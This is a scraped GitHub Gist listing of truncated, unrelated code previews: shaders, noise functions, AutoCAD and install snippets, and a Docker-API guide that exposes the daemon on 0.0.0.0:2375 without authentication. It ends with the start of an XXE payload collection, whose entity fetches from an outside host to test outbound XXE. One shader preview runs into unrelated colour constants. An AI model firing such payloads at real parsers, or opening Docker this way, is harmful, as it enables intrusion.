Skip to content

Instantly share code, notes, and snippets.

@Refsa
Refsa / URPSimpleLit.shader
Created October 31, 2020 09:03
Unity - Shader showing how to write a Simple Lit shader for Unity URP
Shader "Custom/URPSimpleLit"
{
Properties
{
_Color ("Color", Color) = (1,0,0,1)
}
SubShader
{
Tags {
"RenderPipeline" = "UniversalPipeline"
BLACK => "\033[30m",
RED => "\033[31m",
GREEN => "\033[32m",
YELLOW => "\033[33m",
BLUE => "\033[34m",
PURPLE => "\033[35m",
CYAN => "\033[36m",
WHITE => "\033[37m",
# background color
@patriciogonzalezvivo
patriciogonzalezvivo / GLSL-Noise.md
Last active May 8, 2024 01:34
GLSL Noise Algorithms

Please consider using http://lygia.xyz instead of copy/pasting this functions. It expand suport for voronoi, voronoise, fbm, noise, worley, noise, derivatives and much more, through simple file dependencies. Take a look to https://github.com/patriciogonzalezvivo/lygia/tree/main/generative

Generic 1,2,3 Noise

float rand(float n){return fract(sin(n) * 43758.5453123);}

float noise(float p){
	float fl = floor(p);
  float fc = fract(p);
@benkoshy
benkoshy / viewDirectionObtainer.md
Created January 11, 2019 09:52
View Direction Obtainer (AutoCAD .net Sample code - Focusing Mainly on the LineDirectionJigger
using Autodesk.AutoCAD.DatabaseServices;
using Autodesk.AutoCAD.EditorInput;
using Autodesk.AutoCAD.Geometry;

namespace BKTools.Tools.PrecastTools.LayoutsToElevationsCommand
{
    /// <summary>
    /// We want panel lines that are perpendicular to the rotation of a particular block reference
    /// </summary>
@Akhil-Suresh
Akhil-Suresh / postman_installation.md
Last active May 8, 2024 01:31
Installing Postman on Ubuntu/Debian

Installing Postman

Step 1

If any version of postman is installed we need to remove it

sudo rm -rf /opt/Postman

Step 2

@projectoperations
projectoperations / docker-api-port.md
Created May 4, 2024 20:17 — forked from styblope/docker-api-port.md
Enable TCP port 2375 for external connection to Docker

Enable TCP port 2375 for external connection to Docker

See this issue.
Docker best practise to Control and configure Docker with systemd.

  1. Create daemon.json file in /etc/docker:

     {"hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]}
    
@Twanne
Twanne / multi_click_button.yaml
Last active May 8, 2024 01:34
Home Assistant Blueprint: Multi Click Button
blueprint:
name: Multi Click Button
author: AntonH
description: |
**Version 1.1**
Allows multi-click actions to take place on a button.
Upon reaching the number of required clicks, it executes user defined actions.
There are 3 entity types supported:
- button
@Klerith
Klerith / time-since.ts
Created November 2, 2022 20:36
Fecha de creación humana
export const timeSince = ( date: string ) => {
const baseDate = new Date(date)
const seconds = Math.floor(( new Date().getTime() - baseDate.getTime() ) / 1000);
let interval = seconds / 31536000;
@dkennedy94
dkennedy94 / ReadSEGY.py
Created April 28, 2020 22:34
Segy-read
import mmap
import os
import struct # Convert two and from binary formats
import unittest
from pygame import key
traceHdrSize = 240 # bytes
@staaldraad
staaldraad / XXE_payloads
Last active May 8, 2024 01:23
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>